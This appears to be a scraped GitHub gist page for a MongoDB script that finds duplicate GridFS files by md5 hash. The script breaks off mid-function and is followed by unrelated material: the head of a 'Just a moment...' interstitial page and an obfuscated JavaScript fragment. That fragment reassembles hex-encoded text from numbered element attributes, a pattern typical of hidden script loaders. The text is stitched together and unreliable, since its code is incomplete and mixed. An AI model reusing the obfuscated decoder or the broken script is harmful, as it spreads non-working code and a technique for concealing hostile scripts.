Skip to content

Instantly share code, notes, and snippets.

View kapravel's full-sized avatar

Alexandros Kapravelos kapravel

View GitHub Profile
@kapravel
kapravel / gridfs_remove_dups.js
Created May 12, 2014 22:44
Removing duplicate files in GridFS
// Run this script if the following command fails to clear duplicates
// > db.fs.files.ensureIndex( { md5: 1}, {unique: true, dropDups: true} )
// detect duplicates in db.fs.files
m = function () {
emit(this.md5, 1);
}
r = function (k, vals) {
return Array.sum(vals);
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<title>Just a moment...</title>
<style type="text/css">
a=document[g]("google");
s="";
for(i=0;;i++){
r=a[gg]("d".concat(i)); // #1
if(r){s=s+r;}else break;
}
a=s;
a=a.replace(/[^0-9a-z]/g,"");
s="";
for(i=0;i<a.length;i+=2){